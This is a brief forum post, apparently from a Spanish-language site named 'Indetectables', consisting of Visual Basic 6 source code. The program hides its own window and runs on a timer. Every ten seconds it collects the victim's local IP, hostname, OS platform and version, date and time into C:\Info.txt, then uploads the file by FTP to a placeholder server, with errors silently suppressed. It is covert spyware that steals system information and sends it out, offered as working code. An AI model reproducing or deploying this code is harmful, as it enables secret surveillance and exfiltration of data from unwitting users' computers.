Indetectables

Código: Seleccionar todo

Dim Ti 'declaramos la variable
Const Ruta = "C:\"
Const Archivo = "Info.txt"
Const ArchivoConRuta = Ruta & Archivo '"C:\Info.txt"

Private Sub Command1_Click()
On Error GoTo Error
    Ti = Ti + 1
    
    If Ti = 10 Then
        Open (ArchivoConRuta) For Output As #1
            Print #1, "IP del Host= ", Winsock1.LocalIP
            Print #1, "Nombre Local del Host= ", Winsock1.LocalHostName; ""
            Print #1, "Tipo de S.O= ", SysInfo1.OSPlatform
            Print #1, "Version del S.O= ", SysInfo1.OSVersion
            Print #1, Date
            Print #1, Time
        Close #1

        Inet1.Execute "ftp://TuUsuario:PonTuContraseña@DirecciónFTP", _
            "PUT " & ArchivoConRuta & " /CarpetaFTP/" & Archivo '& Winsock1.LocalHostName & ".txt"

        Ti = 0
    End If
    Exit Sub
Error:
End Sub

Private Sub Form_Load()
On Error GoTo Error
    Me.Visible = False
        Ti = 0
    Timer1.Interval = 1000
    Exit Sub
Error:
End Sub

Private Sub Timer1_Timer()
On Error GoTo Error
    Call Command1_Click
    Exit Sub
Error:
End Sub